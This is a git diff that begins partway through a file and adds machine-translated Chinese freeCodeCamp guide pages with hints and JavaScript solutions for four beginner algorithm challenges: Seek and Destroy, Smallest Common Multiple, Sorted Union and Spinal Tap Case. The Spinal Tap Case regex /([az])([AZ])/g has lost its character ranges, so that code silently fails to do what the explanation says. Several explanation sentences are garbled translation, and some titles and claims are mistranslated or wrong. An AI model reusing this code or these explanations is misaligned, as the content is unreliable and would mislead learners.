+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "：triangular_flag_on_post：")如果卡住，请记得使用**`Read-Search-Ask`** 。尝试配对程序![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 "：busts_in_silhouette：")并编写自己的代码![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 "：铅笔：")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 "：checkered_flag：")问题说明：
+
+这个问题有点棘手，因为你必须熟悉Arguments，因为你必须使用两个**或更多，**但在脚本上你只看到两个。很多人用三个参数对这个程序进行硬编码。您将从第一个参数中删除与任何其他参数相同的任何数字。
+
+#### 相关链接
+
+*   [参数对象](http://forum.freecodecamp.com/t/javascript-arguments/14283)
+*   [Array.filter（）](http://forum.freecodecamp.com/t/javascript-array-prototype-filter/14289)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：1
+
+您需要使用`arguments` ，就好像它是一个常规数组。最好的方法是将其转换为一个。
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：2
+
+您需要过滤，这也意味着您需要创建一个回调函数。您可以使用各种方法，如： `indexOf()` ， `includes()` 。如果您需要其他方法， `reduce()`也可能有用;继续阅读那些文档！
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：3
+
+要将`arguments`转换为数组，请使用以下代码`var args = Array.prototype.slice.call(arguments);`
+
+> _现在尝试解决问题_
+
+## 扰流警报！
+
+![警告牌](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**提前解决！**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 "：初学者：")基本代码解决方案
+```
+function destroyer(arr) { 
+  var args = Array.prototype.slice.call(arguments); 
+ 
+  for (var i = 0; i < arr.length; i++) { 
+    for (var j = 0; j < args.length; j++) { 
+      if (arr[i] === args[j]) { 
+        delete arr[i]; 
+      } 
+    } 
+  } 
+  return arr.filter(Boolean); 
+ } 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CLjU/95)
+
+### 代码说明：
+
+1.  使用`Array.prototype.slice.call()`创建一个`arguments`数组，并将其存储在变量`args` 。我们将用它来检查`arr` 。
+    
+2.  启动一个基本的`for`循环来迭代`arr` 。在另一个内部嵌套另一个`for`循环，将整数变量`j`和arr更改为args。第二个循环将遍历`args` 。
+    
+    *   在第二个循环中创建一个`if`语句，严格检查`===` `arr[i]`的当前val等于`args[j]` 。
+        
+    *   如果两个数组中当前索引的_值_相等，请使用`delete`将其从`arr` `delete` 。
+        
+3.  在嵌套循环之外：使用`Boolean`对象返回修改后的数组，作为`delete`运算符创建的任何`null`的过滤器。
+    
+
+#### 相关链接
+
+*   \[参数
+*   [Array.filter（）](http://forum.freecodecamp.com/t/javascript-array-prototype-filter/14289)
+*   [删除](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/delete)
+*   [布尔](http://forum.freecodecamp.com/t/javascript-boolean/14311)
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 "：向日葵：")中级代码解决方案：
+```
+function destroyer(arr) { 
+  var args = Array.from(arguments).slice(1); 
+  return arr.filter(function(val) { 
+    return !args.includes(val); 
+  }); 
+ } 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/Ck2m/0)
+
+### 代码说明：
+
+1.  声明一个名为`args`的变量，并将它设置为等于一个新的`Array`对象`from()`传递给函数的`arguments` 。在相同或下一行，从第二个索引1开始对`args`使用`slice()`方法。这将用于过滤的参数分隔为它们自己的`args`数组。
+    
+2.  返回已过滤的数组，使用回调函数中的`includes()`来检查`val`是否_不在_ `args` ;返回`true`以保留原始数组中的值，或返回`false`以删除它。
+    
+
+#### 相关链接
+
+*   [参数](http://forum.freecodecamp.com/t/javascript-arguments/14283)
+*   [Array.slice（）](http://forum.freecodecamp.com/t/javascript-array-prototype-slice/14302)
+*   [Array.includes（）](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/includes)
+
+## 高级代码解决方案
+
+```javascript
+const destroyer = (arr, ...args) => arr.filter(i => !args.includes(i)); 
+```
+
+### 代码说明：
+
+*   使用ES6语法的代码使用箭头函数声明函数。
+*   使用spread运算符检索参数。
+*   使用`includes()`返回已过滤的数组。
+
+#### 相关链接
+
+*   [传播运营商](https://developer.mozilla.org/pt-BR/docs/Web/JavaScript/Reference/Operators/Spread_operator)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 "：剪贴板：")捐款说明：
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **请勿**添加与任何现有解决方案类似的解决方案。如果您认为它**_相似但更好_** ，那么尝试合并（或替换）现有的类似解决方案。
+*   添加解决方案的说明。
+*   将解决方案分为以下类别之一 - **基本** ， **中级**和**高级** 。 ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 "：红绿灯：")
+*   如果您添加了任何**相关的主要内容，**请仅添加您的用户名。 （ ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **_不要_** _删除任何现有的用户名_ ）
+
+> 看到![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 "：point_right：") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272)供参考。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/smallest-common-multiple/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/smallest-common-multiple/index.md
new file mode 100644
index 0000000000..46db95048c
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/smallest-common-multiple/index.md
@@ -0,0 +1,221 @@
+---
+title: Smallest Common Multiple
+localeTitle: 最小的共同多重
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "：triangular_flag_on_post：")如果卡住，请记得使用**`Read-Search-Ask`** 。尝试配对程序![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 "：busts_in_silhouette：")并编写自己的代码![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 "：铅笔：")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 "：checkered_flag：")问题说明：
+
+两个数字之间的最小公倍数是两个数字可以分成的最小数字。这个概念也可以扩展到两个以上的数字。
+
+我们首先可以从找到两个数字之间的最小公倍数开始。天真地，你可以开始写出每个数字的多个，直到你写出两个数字都存在的倍数。
+
+一个例子是数字`3`和`4` 。 `3`的倍数是`3, 6, 9, 12, 15, 18, ...` ， `4`的倍数是`4` `4, 8, 12, 16, 20, ...`我们在两个列表中遇到的第一个最小数字是`12`所以这是`3`到`4`之间的最小公倍数。
+
+这个问题可能会令人困惑，因为大多数人只会查找两个数字的最小公倍数，但会忘记关键字**范围** 。但是，这意味着如果给出`[1,5]` ，那么你必须检查所有数字`[1,2,3,4,5]`最小公倍数，它们可以被所有数字整除。
+
+#### 相关链接
+
+*   [最小（最小）普通多重](https://en.wikipedia.org/wiki/Least_common_multiple)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：1
+
+创建一个数组，其中包含原始数组中缺少的所有数字，以便更容易检查何时必须检查偶数除法。
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：2
+
+您可以使用余数运算符（ `%` ）来检查除法的提示是否为0，这意味着它可以被整除。
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：3
+
+如果您将数组从最大到最小排序，那么您可以使用前两个数字作为最小公共倍数的第一个检查。这是因为它们更可能是最小的普通倍数而不是较低的数字。
+
+> _现在尝试解决问题_
+
+## 扰流警报！
+
+![警告牌](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**提前解决！**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 "：初学者：")基本代码解决方案
+```
+function smallestCommons(arr) { 
+  // Sort array from greater to lowest 
+  // This line of code was from Adam Doyle (http://github.com/Adoyle2014) 
+  arr.sort(function(a, b) { 
+    return b - a; 
+  }); 
+ 
+  // Create new array and add all values from greater to smaller from the 
+  // original array. 
+  var newArr = []; 
+  for (var i = arr[0]; i >= arr[1]; i--) { 
+    newArr.push(i); 
+  } 
+ 
+  // Variables needed declared outside the loops. 
+  var quot = 0; 
+  var loop = 1; 
+  var n; 
+ 
+  // Run code while n is not the same as the array length. 
+  do { 
+    quot = newArr[0] * loop * newArr[1]; 
+    for (n = 2; n < newArr.length; n++) { 
+      if (quot % newArr[n] !== 0) { 
+        break; 
+      } 
+    } 
+ 
+    loop++; 
+  } while (n !== newArr.length); 
+ 
+  return quot; 
+ } 
+ 
+ // test here 
+ smallestCommons([1,5]); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CLn2/0)
+
+### 代码说明：
+
+*   由于最小公分母可能是两个最大数字之一，因此首先检查它们是有意义的，因此对数组进行排序。
+*   创建一个新数组以对所有数字`newArr`进行排序。
+*   使用降序`for`循环（ `var i = arr[0]; i >= arr[1]; i--` ）在新数组中添加从最大到最小的数字。
+*   声明商的变量，以便我们可以在循环外访问它们：
+    *   那将是我们最小的共同倍数（ `quot` ）的商
+    *   我们正在检查的循环数（ `loop` ）
+    *   数组的索引（ `n` ）
+*   使用`do` `while`循环来检查我们需要什么，而`n`与新数组的长度不同。
+*   在`do`部分中，我们将乘以第一个数字，乘以循环次数乘以第二个数字（ `quot = newArr[0] * loop * newArr[1];` ）。
+*   `loop`部分将允许我们增加我们检查的数量超出我们所拥有的最大数量，而无需更改算法。
+*   我们输入一个`for`循环，它将从`n` `n < newArr.length` 1（ `loop++` ），同时它小于具有所有数字的数组（ `n < newArr.length` ）。
+*   如果商不均匀分配（ `quot % newArr[n] !== 0` ），则停止循环（ `break;` ）。如果它是偶数，那么检查数组中的下一个元素（ `n++` ），直到它不均匀或我们找到答案。
+*   在循环之外，增加循环的值（ `loop++` ）。
+*   在循环结束时返回商（ `return quot;` ）。
+
+注意：如果数组只有两个元素，则`for`循环永远不会被使用，返回值是所述数字的乘积。
+
+#### 相关链接
+
+*   [JS数组原型排序](http://forum.freecodecamp.com/t/javascript-array-prototype-sort/14306)
+*   [JS for Loops解释](http://forum.freecodecamp.com/t/javascript-for-loop/14666s-Explained)
+*   [JS阵列原型推送](http://forum.freecodecamp.com/t/javascript-array-prototype-push/14298)
+*   [JS Do While Loop](http://forum.freecodecamp.com/t/javascript-do-while-loop/14662)
+*   string.length减
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 "：向日葵：")中级代码解决方案：
+```
+function smallestCommons(arr) { 
+    var range = []; 
+    for (var i = Math.max(arr[0], arr[1]); i >= Math.min(arr[0], arr[1]); i--) { 
+    range.push(i); 
+    } 
+ 
+    // can use reduce() in place of this block 
+    var lcm = range[0]; 
+    for (i = 1; i < range.length; i++) { 
+    var GCD = gcd(lcm, range[i]); 
+    lcm = (lcm * range[i]) / GCD; 
+    } 
+    return lcm; 
+ 
+    function gcd(x, y) {    // Implements the Euclidean Algorithm 
+    if (y === 0) 
+        return x; 
+    else 
+        return gcd(y, x%y); 
+    } 
+ } 
+ 
+ // test here 
+ smallestCommons([1,5]); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CLn4/0)
+
+### 代码说明：
+
+*   第一个基本解决方案需要超过2,000个循环来计算测试用例`smallestCommons([1,13])` ，以及超过400万个循环来计算`smallestCommons([1,25])` 。该解决方案通过使用更有效的算法评估40个循环中的`smallestCommons([1,13])`和40中的`smallestCommons([1,25])` 。
+*   创建一个空数组**范围** 。
+*   使用`for`循环将给定范围之间的所有数字推到**范围** 。
+*   下一个代码块实现了Euclidean算法，该算法用于查找最小的公共倍数。
+
+#### 相关链接
+
+*   [欧几里德算法](https://en.wikipedia.org/wiki/Euclidean_algorithm)
+*   [JS Math Max](http://forum.freecodecamp.com/t/javascript-math-max/14682)
+*   [JS Math Min](http://forum.freecodecamp.com/t/javascript-math-min/14684)
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 "：rotating_light：")高级代码解决方案
+```
+function smallestCommons(arr) { 
+ 
+  // range 
+  let min = Math.min.apply(null, arr); 
+  let max = Math.max.apply(null, arr); 
+ 
+  let smallestCommon = lcm(min, min + 1); 
+ 
+  while(min < max) { 
+    min++; 
+    smallestCommon = lcm(smallestCommon, min); 
+  } 
+ 
+  return smallestCommon; 
+ } 
+ 
+ /** 
+ * Calculates Greatest Common Divisor 
+ * of two nubers using Euclidean algorithm 
+ * https://en.wikipedia.org/wiki/Euclidean_algorithm 
+ */ 
+ function gcd(a, b) { 
+  while (b > 0) { 
+    let tmp = a; 
+    a = b; 
+    b = tmp % b; 
+  } 
+  return a; 
+ } 
+ 
+ /** 
+ * Calculates Least Common Multiple 
+ * for two numbers utilising GCD 
+ */ 
+ function lcm(a, b) { 
+  return (a * b / gcd(a, b)); 
+ } 
+ 
+ 
+ // test here 
+ smallestCommons([1,5]); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/MR9P/latest)
+
+### 代码说明：
+
+*   从提供的**arr中**提取最小值和最大值。
+*   使用前两个数字的最小公倍数初始化**最小**公共。
+*   循环通过当前LCM的范围计算LCM和范围**lcm（a，b，c）= lcm（lcm（a，b），c）的下一个数字** 。
+
+#### 相关链接
+
+*   [JS Function.prototype.apply（）](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/apply)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 "：剪贴板：")捐款说明：
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **请勿**添加与任何现有解决方案类似的解决方案。如果您认为它**_相似但更好_** ，那么尝试合并（或替换）现有的类似解决方案。
+*   添加解决方案的说明。
+*   将解决方案分为以下类别之一 - **基本** ， **中级**和**高级** 。 ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 "：红绿灯：")
+*   如果您添加了任何**相关的主要内容，**请仅添加您的用户名。 （ ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **_不要_** _删除任何现有的用户名_ ）
+
+> 看到![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 "：point_right：") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272)供参考。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/sorted-union/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/sorted-union/index.md
new file mode 100644
index 0000000000..4f008f3365
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/sorted-union/index.md
@@ -0,0 +1,209 @@
+---
+title: Sorted Union
+localeTitle: 排序联盟
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "：triangular_flag_on_post：")如果卡住，请记得使用**`Read-Search-Ask`** 。尝试配对程序![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 "：busts_in_silhouette：")并编写自己的代码![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 "：铅笔：")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 "：checkered_flag：")问题说明：
+
+程序必须按照它们显示的顺序从两个原始数组返回一个新的唯一值数组。因此不需要排序，也不应该有任何重复。
+
+#### 相关链接
+
+*   [JS Arguments](http://forum.freecodecamp.com/t/javascript-arguments/14283)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：1
+
+由于您不知道传递了多少参数，因此最好在循环遍历数组之前循环遍历**参数** 。
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：2
+
+没有必要使用循环。如果需要，可以使用`map()` ， `reduce()`等功能。
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：3
+
+您必须检查要为每个值返回的数组上是否已存在当前值。
+
+> _现在尝试解决问题_
+
+## 扰流警报！
+
+![警告牌](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**提前解决！**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 "：初学者：")基本代码解决方案
+```
+function uniteUnique(arr1, arr2, arr3) { 
+  // Creates an empty array to store our final result. 
+  var finalArray = []; 
+ 
+  // Loop through the arguments object to truly made the program work with two or more arrays 
+  // instead of 3. 
+  for (var i = 0; i < arguments.length; i++) { 
+    var arrayArguments = arguments[i]; 
+ 
+    // Loops through the array at hand 
+    for (var j = 0; j < arrayArguments.length; j++) { 
+      var indexValue = arrayArguments[j]; 
+ 
+      // Checks if the value is already on the final array. 
+      if (finalArray.indexOf(indexValue) < 0) { 
+        finalArray.push(indexValue); 
+      } 
+    } 
+  } 
+ 
+  return finalArray; 
+ } 
+ 
+ // test here 
+ uniteUnique([1, 3, 2], [5, 2, 1, 4], [2, 1]); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CLnM/0)
+
+### 代码说明：
+
+*   创建空数组**finalResult**以存储最终结果。
+*   循环遍历外部循环中的**arguments**对象并将其存储在**arrayArguments中** 。
+*   内循环用于循环遍历各个数组元素。
+*   如果**finalArray中**尚不存在该元素，请添加它。
+*   返回**finalArray** 。
+
+#### 相关链接
+
+*   [JS for Loops解释](http://forum.freecodecamp.com/t/javascript-for-loop/14666s-Explained)
+*   [array.length](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Array/length)
+*   [JS String Prototype IndexOf](http://forum.freecodecamp.com/t/javascript-string-prototype-indexof/15936)
+*   [JS阵列原型推送](http://forum.freecodecamp.com/t/javascript-array-prototype-push/14298)
+
+## 替代基本代码解决方案
+
+```javascript
+function uniteUnique(arr) { 
+  var args = [...arguments]; 
+  var result = []; 
+  for(var i = 0; i < args.length; i++) { 
+    for(var j = 0; j < args[i].length; j++) { 
+       if(!result.includes(args[i][j])) { 
+        result.push(args[i][j]); 
+      } 
+    } 
+  } 
+  return result; 
+ } 
+ 
+ uniteUnique([1, 3, 2], [5, 2, 1, 4], [2, 1]); 
+```
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 "：向日葵：")中级代码解决方案：
+```
+function uniteUnique(arr1, arr2, arr3) { 
+ var newArr; 
+ //Convert the arguments object into an array 
+  var args = Array.prototype.slice.call(arguments); 
+  //Use reduce function to flatten the array 
+  newArr = args.reduce(function(arrA,arrB){ 
+  //Apply filter to remove the duplicate elements in the array 
+    return arrA.concat(arrB.filter(function(i){ 
+      return arrA.indexOf(i) === -1; 
+    })); 
+  }); 
+ 
+   return newArr; 
+ } 
+ 
+ // test here 
+ uniteUnique([1, 3, 2], [5, 2, 1, 4], [2, 1]); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CLnO/0)
+
+### 代码说明：
+
+*   **arguments**对象使用`slice()`转换为数组。
+*   `reduce()`函数用于展平数组，即，对于数组中的每个元素（或嵌套数组），将其元素提取到一维数组中。
+*   展平数组后， `filter()`用于从**newArr中**删除重复的元素。
+
+#### 相关链接
+
+*   [JS阵列原型切片](http://forum.freecodecamp.com/t/javascript-array-prototype-slice/14302)
+*   [JS Array Prototype Reduce](http://forum.freecodecamp.com/t/javascript-array-prototype-reduce/14299)
+*   [JS Array Prototype Concat](http://forum.freecodecamp.com/t/javascript-array-prototype-concat/14286)
+*   [JS数组原型过滤器](http://forum.freecodecamp.com/t/javascript-array-prototype-filter/14289)
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 "：rotating_light：")高级代码解决方案
+```
+function uniteUnique() { 
+  var concatArr = []; 
+  var i = 0; 
+  while (arguments[i]){ 
+    concatArr = concatArr.concat(arguments[i]); i++; 
+  } 
+  uniqueArray = concatArr.filter(function(item, pos) { 
+    return concatArr.indexOf(item) == pos; 
+  }); 
+  return uniqueArray; 
+ } 
+ 
+ // test here 
+ uniteUnique([1, 3, 2], [5, 2, 1, 4], [2, 1]); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CLnN/0)
+
+### 代码说明：
+
+*   参数的数量可以动态改变，因此我们不需要为函数`uniteUnique()`提供参数。
+*   我们使用`while`循环将所有参数连接到一个名为**concatArr的**数组中。
+*   我们使用`filter()`通过检查每个元素的索引并删除具有不同位置的相同元素来删除重复元素。
+*   订购将保留在这里。
+
+#### 相关链接
+
+*   JS While Loop
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 "：rotating_light：")使用ES2015的替代代码解决方案
+```
+//jshint esversion:6 
+ 
+ function uniteUnique(...arrays) { 
+ 
+  //make an array out of the given arrays and flatten it (using the spread operator) 
+  const flatArray = [].concat(...arrays); 
+ 
+  // create a Set which clears any duplicates since it's a regulat set and not a multiset 
+  return [...new Set(flatArray)]; 
+ } 
+ 
+ // test here 
+ uniteUnique([1, 3, 2], [5, 2, 1, 4], [2, 1]); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CcWk/0)
+
+### 代码说明：
+
+*   我们首先使用带有空数组的`concat()` `<a href='http://exploringjs.com/es6/ch_maps-sets.html#_set' target='_blank' rel='nofollow'>]`作为起点， spread运算符`...`从Arguments对象中创建一个数组并同时展平它
+*   然后我们使用新的ES2015 **Set**对象来存储唯一值
+*   （要了解有关集合的更多信息，请阅读\[此处\]
+
+#### 相关链接
+
+*   [Array.prototype.concat](http://forum.freecodecamp.com/t/javascript-array-prototype-concat/14286)
+*   [参数](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/arguments)
+*   [组](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Set)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 "：剪贴板：")捐款说明：
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **请勿**添加与任何现有解决方案类似的解决方案。如果您认为它**_相似但更好_** ，那么尝试合并（或替换）现有的类似解决方案。
+*   添加解决方案的说明。
+*   将解决方案分为以下类别之一 - **基本** ， **中级**和**高级** 。 ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 "：红绿灯：")
+*   如果您添加了任何**相关的主要内容，**请仅添加您的用户名。 （ ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **_不要_** _删除任何现有的用户名_ ）
+
+> 看到![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 "：point_right：") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272)供参考。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/spinal-tap-case/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/spinal-tap-case/index.md
new file mode 100644
index 0000000000..75b60bcd5a
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/spinal-tap-case/index.md
@@ -0,0 +1,127 @@
+---
+title: Spinal Tap Case
+localeTitle: 脊椎龙头套
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "：triangular_flag_on_post：")如果卡住，请记得使用**`Read-Search-Ask`** 。尝试配对程序![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 "：busts_in_silhouette：")并编写自己的代码![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 "：铅笔：")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 "：checkered_flag：")问题说明：
+
+将给定的字符串转换为带有由短划线连接的单词的小写句子。
+
+#### 相关链接
+
+*   [字符串全局对象](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String)
+*   JS Regex资源
+*   [JS字符串原型替换](http://forum.freecodecamp.com/t/javascript-string-prototype-replace/15942)
+*   [JS String Prototype ToLowerCase](http://forum.freecodecamp.com/t/javascript-string-prototype-tolowercase/15948)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：1
+
+为所有空格和下划线创建正则表达式。
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：2
+
+您还必须将所有内容都设为小写。
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：3
+
+棘手的部分是让正则表达式部分工作，一旦你这样做，然后只需将大写字母转换为小写，并使用`replace()`用下划线替换空格。
+
+> _现在尝试解决问题_
+
+## 扰流警报！
+
+![警告牌](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**提前解决！**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 "：初学者：")基本代码解决方案
+```
+function spinalCase(str) { 
+  // Create a variable for the white space and underscores. 
+  var regex = /\s+|_+/g; 
+ 
+  // Replace low-upper case to low-space-uppercase 
+  str = str.replace(/([az])([AZ])/g, '$1 $2'); 
+ 
+  // Replace space and underscore with - 
+  return str.replace(regex, '-').toLowerCase(); 
+ } 
+ 
+ // test here 
+ spinalCase('This Is Spinal Tap'); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CLnS/0)
+
+### 代码说明：
+
+*   **正则表达式**包含正则表达式`/\s+|_+/g` ，它将选择所有空格和下划线。
+*   第一个`replace()`在字符串**str中**遇到任何大写字符之前放置一个空格，以便稍后可以用短划线替换空格。
+*   返回字符串时，另一个`replace()`使用**正则表达式**用空格替换空格和下划线。
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 "：向日葵：")中级代码解决方案：
+```
+function spinalCase(str) { 
+  // Replace low-upper case to low-space-uppercase 
+  str = str.replace(/([az])([AZ])/g, '$1 $2'); 
+  // Split on whitespace and underscores and join with dash 
+  return str.toLowerCase().split(/(?:_| )+/) .join('-'); 
+ } 
+ 
+ // test here 
+ spinalCase('This Is Spinal Tap'); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CLnT/0)
+
+### 代码说明：
+
+*   与第一个解决方案类似，第一个`replace()`在字符串**str中**遇到任何大写字符之前放置一个空格，以便稍后可以用短划线替换空格。
+*   这里的字符串是正则表达式`/(?:_| )+/`和`join()` `-` ed on `-`上的`split()` ，而不是使用`replace()`来替换空格和下划线。
+
+#### 相关链接
+
+*   [JS String Prototype Split](http://forum.freecodecamp.com/t/javascript-string-prototype-split/15944)
